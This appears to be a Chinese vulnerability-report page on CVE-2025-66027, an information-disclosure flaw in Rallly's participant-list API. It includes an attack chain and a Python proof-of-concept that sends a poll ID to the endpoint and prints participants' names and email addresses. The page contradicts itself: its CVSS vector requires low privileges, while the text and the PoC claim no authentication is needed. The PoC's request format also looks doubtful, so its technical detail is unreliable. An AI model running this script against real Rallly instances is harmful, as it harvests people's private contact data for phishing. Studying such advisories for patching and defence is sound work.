IPBUF安全漏洞报告
English
CVE-2025-66027 CVSS 6.5 中危

CVE-2025-66027 Rallly信息泄露漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-66027
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

信息泄露访问控制绕过隐私保护失效RalllyCVE-2025-66027API安全Web应用漏洞

漏洞概述

Rallly是一款开源的日程安排和协作工具,允许用户创建投票来协调会议时间、活动安排等。在4.5.6版本之前,存在一个严重的信息泄露漏洞,攻击者可以通过调用/api/trpc/polls.get,polls.participants.list端点,无需特殊权限即可获取投票参与者的敏感个人信息,包括姓名和电子邮件地址。更为严重的是,即使管理员启用了Rallly Pro版本的隐私保护功能(旨在限制参与者查看其他用户信息),此漏洞仍然可以绕过这些安全控制,成功获取参与者的私人数据。该漏洞的存在严重违反了用户隐私保护机制,可能导致大量用户的个人信息被非法获取和滥用。建议所有使用Rallly的用户立即升级到4.5.6或更高版本以修复此安全问题。

技术细节

该漏洞源于Rallly应用在处理API请求时的访问控制检查不完善。具体来说,/api/trpc/polls.get,polls.participants.list端点在处理获取投票参与者列表请求时,未正确验证请求者是否具有查看其他参与者信息的权限。攻击者只需拥有一个有效的投票链接或投票ID,即可构造请求获取该投票的所有参与者详细信息,包括姓名和邮箱地址。漏洞利用的关键在于API端点错误地信任了客户端请求,未实施服务端侧的权限验证逻辑。此外,即使Rallly Pro版本提供了隐私功能来限制参与者之间的信息可见性,但由于API层存在访问控制缺陷,该隐私保护机制可以被轻易绕过。攻击者可以利用自动化脚本批量扫描和收集目标投票的参与者信息,构成分布式信息采集攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先获取目标投票的poll_id,可以通过社交工程、钓鱼邮件或公开分享链接获取有效投票标识符
STEP 2
步骤2: 构建恶意请求
攻击者构造针对/api/trpc/polls.get,polls.participants.list端点的HTTP POST请求,包含目标poll_id作为参数
STEP 3
步骤3: 发送API请求
使用自动化工具(如Python脚本、Burp Suite等)发送构造好的API请求,无需任何认证信息
STEP 4
步骤4: 提取敏感数据
解析API响应,提取包含参与者姓名和电子邮件地址的JSON数据,即使隐私功能启用也能成功获取
STEP 5
步骤5: 数据利用
攻击者将收集到的个人信息用于进一步攻击,如钓鱼攻击、身份冒充或出售给第三方

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66027 PoC - Rallly Information Disclosure # Target: Rallly < 4.5.6 # Vulnerability: Unauthenticated access to participant details via API def exploit_rallly(target_url, poll_id): """ Exploit the information disclosure vulnerability in Rallly to retrieve participant details without authentication. """ endpoint = f"{target_url}/api/trpc/polls.get,polls.participants.list" # Construct the API request payload payload = { "batches": [{ "path": ["polls.get", "polls.participants.list"], "json": { "pollId": poll_id } }], "where": [{}], "orderBy": [] } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Extract participant information from response if "data" in data and len(data["data"]) > 0: participants = data["data"][0].get("participants", []) print(f"[+] Found {len(participants)} participants:") for p in participants: print(f" - Name: {p.get('name', 'N/A')}") print(f" Email: {p.get('email', 'N/A')}") return participants else: print(f"[-] Request failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None # Usage example if __name__ == "__main__": TARGET = "https://rallly.example.com" POLL_ID = "your-poll-id-here" exploit_rallly(TARGET, POLL_ID)

影响范围

Rallly < 4.5.6

防御指南

临时缓解措施
作为临时缓解措施,可以限制API端点的访问频率,实施IP白名单策略,并监控异常的批量数据查询请求。同时建议管理员审查现有投票的参与者数据,确认是否有未授权的访问痕迹。在无法立即升级的情况下,可以考虑暂时禁用相关API端点或部署反向代理进行访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表